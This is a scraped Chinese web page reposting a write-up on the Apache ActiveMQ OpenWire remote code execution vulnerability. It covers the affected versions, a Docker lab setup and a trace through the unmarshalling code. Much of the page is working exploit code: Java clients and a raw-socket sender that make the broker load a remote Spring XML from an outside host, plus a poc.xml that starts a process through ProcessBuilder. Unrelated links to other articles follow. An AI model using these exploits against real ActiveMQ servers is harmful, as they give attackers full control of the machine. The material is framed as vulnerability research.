怎么做网站滑动图片部分h5成交型网站

news/2025/10/3 8:18:53/文章来源:
怎么做网站滑动图片部分h5,成交型网站,网站视觉元素,河南省建设注册执业中心网站漏洞简介 Apache ActiveMQ官方发布新版本#xff0c;修复了一个远程代码执行漏洞#xff0c;攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行#xff0c;从而完全控制Apache ActiveMQ服务器。 影响版本 Apache ActiveMQ 5.18.0 before 5.1… 漏洞简介 Apache ActiveMQ官方发布新版本修复了一个远程代码执行漏洞攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行从而完全控制Apache ActiveMQ服务器。 影响版本 Apache ActiveMQ 5.18.0 before 5.18.3 Apache ActiveMQ 5.17.0 before 5.17.6 Apache ActiveMQ 5.16.0 before 5.16.7 Apache ActiveMQ before 5.15.16 Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3 Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6 Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7 Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16 ‍ 环境搭建 没有找到合适的 docker 镜像 尝试自己进行编写 可以站在巨人的肩膀上进行编写利用 利用项目 https://github.com/zer0yu/dfimage 分析镜像的dockerfile docker pull islandora/activemq:2.0.7 dfimage islandora/activemq:2.0.7 结合 https://activemq.apache.org/version-5-getting-started Dockerfile FROM ubuntu #ENV DEBIAN_FRONTEND noninteractive RUN sed -i s/archive.ubuntu.com/mirrors.aliyun.com/g /etc/apt/sources.list RUN sed -i s/security.ubuntu.com/mirrors.aliyun.com/g /etc/apt/sources.list RUN apt-get update -y RUN apt-get install wget -y RUN apt install openjdk-11-jre-headless -y COPY apache-activemq-5.18.2-bin.tar.gz  / #RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz  RUN chmod 755 /apache-activemq-5.18.2/bin/activemq RUN echo  #!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null  start.sh RUN chmod x start.sh EXPOSE 8161 61616CMD [/start.sh]## 默认启动后 8161 的管理端口仅能通过 127.0.0.1 本地地址进行访问 可以通过修改 /conf/jetty.xml docker-compose.yml version: 2.2 services:activemq:build: .ports:- 8161:8161- 61616:61616 ./activemq start ./activemq status ./activemq console netstat -tuln | grep 8161 netstat -tuln | grep 61616 ‍ 漏洞分析 下载源代码 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip 开启调试只需要修改 apache-activemq-5.18.2\bin\activemq https://github.com/apache/activemq/compare/activemq-5.18.2..activemq-5.18.3 新版本的修复位置是在 org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable ClassName 和 message 可控代表着可以调用任意类的 String 构造方法AvtiveMQ 内置 Spring结合 org.springframework.context.support.ClassPathXmlApplicationContext 加载远程配置文件实现 SPEL 表达式注入。 寻找调用该方法的位置 org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable 继续向上寻找调用 image 网上大部分都选用了 ExceptionResponseMarshaller 我们也基于此进行分析 org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal 继续向上寻找调用 org.apache.activemq.openwire.OpenWireFormat#doUnmarshal 我们看到此时 dsm 的值是基于传入的 dis.readByte(); image transportConnector nameopenwire uritcp://0.0.0.0:61616?maximumConnections1000amp;wireFormat.maxFrameSize104857600/ActiveMQ中默认的消息协议就是openwire 编写一个 ActiveMQ 的通信请求 public static void sendToActiveMQ() throws Exception {/** 创建连接工厂由 ActiveMQ 实现。构造方法参数* userName 用户名* password 密码* brokerURL 访问 ActiveMQ 服务的路径地址结构为: 协议名://主机地址:端口号*/ConnectionFactory connectionFactory  new ActiveMQConnectionFactory(admin, admin, tcp://127.0.0.1:61616);//创建连接对象Connection connection  connectionFactory.createConnection();//启动连接connection.start();/** 创建会话参数含义:* 1.transacted - 是否使用事务* 2.acknowledgeMode - 消息确认机制可选机制为*  1Session.AUTO_ACKNOWLEDGE - 自动确认消息*  2Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制*  3Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制*/Session session  connection.createSession(false, Session.AUTO_ACKNOWLEDGE);//创建目的地也就是队列名Destination destination  session.createQueue(q_test);//创建消息生成者该生成者与目的地绑定MessageProducer mProducer  session.createProducer(destination);//创建消息Message message  session.createTextMessage(Hello, ActiveMQ);//发送消息mProducer.send(message);connection.close();} ‍ 前面的调用栈为 doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire) unmarshal:290, OpenWireFormat (org.apache.activemq.openwire) readCommand:240, TcpTransport (org.apache.activemq.transport.tcp) doRun:232, TcpTransport (org.apache.activemq.transport.tcp) run:215, TcpTransport (org.apache.activemq.transport.tcp) run:829, Thread (java.lang) 此时 datatype 为 1 调用的是 WireFormatInfoMarshaller 我们要想办法调用 datatype 为 31 的 ExceptionResponseMarshaller ‍ 花式触发 ExceptionResponseMarshaller 现在我们的目的就是为了去调用 ExceptionResponseMarshaller ‍ 寻找触发 ActiveMQ 中的 ExceptionResponse ‍ 函数 org.apache.activemq.ActiveMQSession#asyncSendPacket 和 函数 org.apache.activemq.ActiveMQSession#syncSendPacket 都可以发送 command 最后会调用到 org.apache.activemq.transport.tcp.TcpTransport#oneway 也可以通过 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse); 和 ((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);来触发 ‍ public static void ExceptionResponseExploit() throws Exception {ConnectionFactory connectionFactory  new ActiveMQConnectionFactory(tcp://127.0.0.1:61616);Connection connection  connectionFactory.createConnection(admin,admin);connection.start();ActiveMQSession ExploitSession (ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);ExceptionResponse expetionResponse  new ExceptionResponse();expetionResponse.setException(new ClassPathXmlApplicationContext(http://192.168.184.1:9090/poc.xml));ExploitSession.syncSendPacket(expetionResponse);//ExploitSession.asyncSendPacket(expetionResponse);//((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);//((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);connection.close();} ‍ 由于 ExceptionResponse 实例化的时候必须传入 Throwable 类型但是 ClassPathXmlApplicationContext 不是该类型所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。添加如下代码 package org.springframework.context.support;public class ClassPathXmlApplicationContext extends Throwable{public ClassPathXmlApplicationContext(String message) {super(message);} } ‍ 相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller public static void ConnectionErrorExploit() throws Exception {ConnectionFactory connectionFactory  new ActiveMQConnectionFactory(tcp://127.0.0.1:61616);Connection connection  connectionFactory.createConnection(admin,admin);connection.start();ActiveMQSession ExploitSession (ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);ConnectionError connectionError  new ConnectionError();connectionError.setException(new ClassPathXmlApplicationContext(http://192.168.184.1:9090/poc.xml));//ExploitSession.syncSendPacket(connectionError);//ExploitSession.asyncSendPacket(connectionError);((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);connection.close();} ‍ ‍ public static void MessageAckExploit() throws Exception {ConnectionFactory connectionFactory  new ActiveMQConnectionFactory(tcp://127.0.0.1:61616);Connection connection  connectionFactory.createConnection(admin,admin);connection.start();ActiveMQSession ExploitSession (ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);MessageAck messageAck   new MessageAck();messageAck.setPoisonCause(new ClassPathXmlApplicationContext(http://192.168.184.1:9090/poc.xml));ExploitSession.syncSendPacket(messageAck);//ExploitSession.asyncSendPacket(messageAck);//((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);connection.close();} ‍ 通过数据流进行触发 ExceptionResponseMarshaller ‍ 主要是依据 ActiveMQ的协议 去触发 ExceptionResponseMarshaller String ip  127.0.0.1;int port  61616;String pocxml http://192.168.184.1:9090/poc.xml;Socket sck  new Socket(ip, port);OutputStream os  sck.getOutputStream();DataOutputStream out  new DataOutputStream(os);out.writeInt(0); //out.writeByte(31); //dataType ExceptionResponseMarshallerout.writeInt(1); //CommandIdout.writeBoolean(true); //ResponseRequiredout.writeInt(1); //CorrelationIdout.writeBoolean(true);//use true - red utf-8 stringout.writeBoolean(true);out.writeUTF(org.springframework.context.support.ClassPathXmlApplicationContext);//use true - red utf-8 stringout.writeBoolean(true);out.writeUTF(pocxml);//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rceout.close();os.close();sck.close(); ‍ 通过伪造类实现触发 ExceptionResponse ‍ 我们看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand 利用 wireFormat.unmarshal 来对数据进行处理 所以我们找到相对应的 wireFormat.marshal org.apache.activemq.transport.tcp.TcpTransport#oneway 通过本地新建 org.apache.activemq.transport.tcp.TcpTransport 类重写对应逻辑运行时优先触发本地的 TcpTransport 类 /*** A one way asynchronous send*/Overridepublic void oneway(Object command) throws IOException {checkStarted();Throwable obj  new ClassPathXmlApplicationContext(http://192.168.184.1:9090/poc.xml);ExceptionResponse response  new ExceptionResponse(obj);wireFormat.marshal(response, dataOut);dataOut.flush();} 将发送的请求无论是什么数据都修改为 触发 ExceptionResponseMarshaller 同样也因为 ExceptionResponse 实例化的时候必须传入 Throwable 类型但是 ClassPathXmlApplicationContext 不是该类型所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。必须添加如下代码 package org.springframework.context.support;public class ClassPathXmlApplicationContext extends Throwable{public ClassPathXmlApplicationContext(String message) {super(message);} } ‍ poc.xml ?xml version1.0 encodingUTF-8 ?beans xmlnshttp://www.springframework.org/schema/beansxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsdbean idpb classjava.lang.ProcessBuilder init-methodstartconstructor-arg listvaluetouch/valuevalue/tmp/1.txt/value/list/constructor-arg/bean/beans ‍ 漏洞复现 原创稿件征集 征集原创技术文章中欢迎投递 投稿邮箱eduantvsion.com 文章类型黑客极客技术、信息安全热点安全研究分析等安全相关 通过审核并发布能收获200-800元不等的稿酬。 更多详情点我查看 靶场实操戳阅读原文‍

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/925640.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

特色个人网站南京个人做网站的

**单片机设计介绍,基于单片机汽车超声波防盗系统设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机汽车超声波防盗系统设计概要主要涉及利用超声波传感器和单片机技术来实现汽车的安全防盗功能。以下是对…

【HarmonyOS Next之旅】DevEco Studio使用指南(三十四) -> 配置构建(一) - 指南

【HarmonyOS Next之旅】DevEco Studio使用指南(三十四) -> 配置构建(一) - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-…

利用高权重网站做关键词加快网站集约化建设总结

文章目录 1. JVM内存区域划分2. JVM中类加载过程类加载(1)类加载的基本流程(2)双亲委派模型 《深入理解java虚拟机》 在这本书前,面试官对于JVM也不是很了解。 这本书主要还是写个一下开发 JVM 的人。 1. JVM内存区域…

AI元人文:从知行合一致良知

AI元人文:从知行合一致良知 AI元人文的探索,标志着其智慧范式从“知识存储”向“知行合一”的根本转变。其最高形态,便是在动态实践中“致良知”——使每一次认知与行动,都趋近于本真的理解与恰当的担当。 一、知行…

在局网站 作风建设方案阿里国际网站官网入口

文章目录 1. Java集合概述2. HashSet3. 泛型 1. Java集合概述 Java 集合类存放于 java.util 包中,是一个用来存放对象的容器。 ① 集合只能存放对象。比如你存一个 int 型数据 1 放入集合中,其实它是自动转换成 Integer类后存入的, Java 中每…

2025 年离心机厂家 TOP 企业品牌推荐排行榜,平板,吊袋,刮刀,拉袋,全自动,平板吊袋,平板刮刀,下卸料,卧式过滤,实验室,浓缩过滤离心机公司推荐!

引言在当今的科研、医疗、工业生产等众多领域,离心机作为实现固液分离、颗粒分级等关键操作的重要设备,其性能优劣直接关乎生产效率与实验结果的准确性。然而,随着离心机市场的不断发展,品牌与产品型号层出不穷,这…

我的路由器

我的路由器我的梦想就是自己打造一款自由路由器,所谓自由就是不包含任何专利软件和私有的非公开源码软件 https://librecmc.org/

全新体验:利用Istio提升微服务安全与监控 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

上海 松江 网站制作甘肃城乡建设厅网站首页

“苹”字组词,很多人第一反应就是苹果。那么除了苹果,苹还能组哪些词?苹组词都有哪些?下面,浙江秦学教育小编为大家带来苹组词,释义及造句汇总!来更新我们的组词大全,大家一定要多积累&#xff…

如何评价企业网站推广效果?wordpress短信回复

内核层可以看到当前调用文件处理的进程ID 这个数据结构是非常大的: 我们打印的pid,tgid就是从这里来的,然后只需要找到pid_t的数据类型就好了。 下图这是运行的日志信息: 从上述日志,其实我也把write的系统调用加了入口的打印信…

orbital 转换scikitlearn pipeline 为sql的框架

orbital 转换scikitlearn pipeline 为sql的框架orbital 是一个转换scikitlearn pipeline 为sql的框架,设计上比较有意思,可以将我们训练好的scikitlearn 模型,直接转换为sql 执行,这样进行实际推理预测就会特别简单…

从DevEco Studio开始:华为鸿蒙应用制作完整指南

从DevEco Studio开始:华为鸿蒙应用制作完整指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", …

完整教程:华为手机Bootloader一键解锁工具指南

完整教程:华为手机Bootloader一键解锁工具指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &…

2025 年离合器厂家 TOP 企业品牌推荐排行榜, CB 离合器,VC 离合器,矿山离合器气胎离合器,通风式离合器,推盘离合器,断开通风离合器,KB 离合器,PTO 离合器公司推荐!

在工业生产领域,离合器作为传递动力、控制设备启停的关键部件,其性能优劣直接影响生产效率与设备安全。当前市场上,离合器厂家数量众多,产品质量参差不齐,部分厂商存在技术研发能力薄弱、产品适配性差、售后服务响…

如何使用万网主机建设网站如何自己开发手机app

Chair Footrest Protective Cover 万能通用型椅子脚垫保护套凳子耐磨硅胶加厚垫桌椅脚垫防滑静音套

观后感 —— 鸿蒙真的创新了吗?我找到了一篇论文

观后感 —— 鸿蒙真的创新了吗?我找到了一篇论文观后感 —— 鸿蒙真的创新了吗?我找到了一篇论文地址: https://www.bilibili.com/video/BV17uaazJE6h/涨知识!!!本博客是博主个人学习时的一些记录,不保证是为原…

2025 办公家具厂家 TOP 企业品牌推荐排行榜,实木办公家具,现代办公家具,环保办公家具,智能办公家具,定制办公家具,老板办公家具,总裁办公家具公司推荐!

在当前办公家具行业中,市场需求呈现出多元化与个性化的趋势,然而行业发展却面临诸多问题。一方面,部分企业缺乏核心技术研发能力,产品同质化现象严重,难以满足不同客户对办公家具功能性、环保性与美学设计的多样需…

网站需要多少服务器注册建筑公司

虽然request.url已包含属性和查询字符串,但使用不便,若只需其中一个不好提取,于是用到了如下路径和字符串的单独查询方法: 一、获取路径 例如:我在启动谷歌端口时输入http://127.0.0.1:9000 后接了 "/search?k…

网站建设新闻咨询做团购网站需要注册哪些商标

checkstyle是提高代码质量,检查代码规范的很好用的一款工具,本文简单介绍一下集成的步骤,并提供一份完整的checkstyle的代码规范格式文件,以及常见的格式问题的解决方法。 一,安装 打开idea的文件选项,选择设置&…

如何设计一个网页主题镇江seo网络推广定制

直接安装内核区域直接安装是缺省的内核区域安装方法。在直接安装中,安装程序将在全局区域中运行。缺省情况下,安装程序将创建和格式化内核区域引导磁盘,并使用全局区域的 pkg 发布者在该磁盘上安装 Oracle Solaris 软件包。注 -在内核区域直接…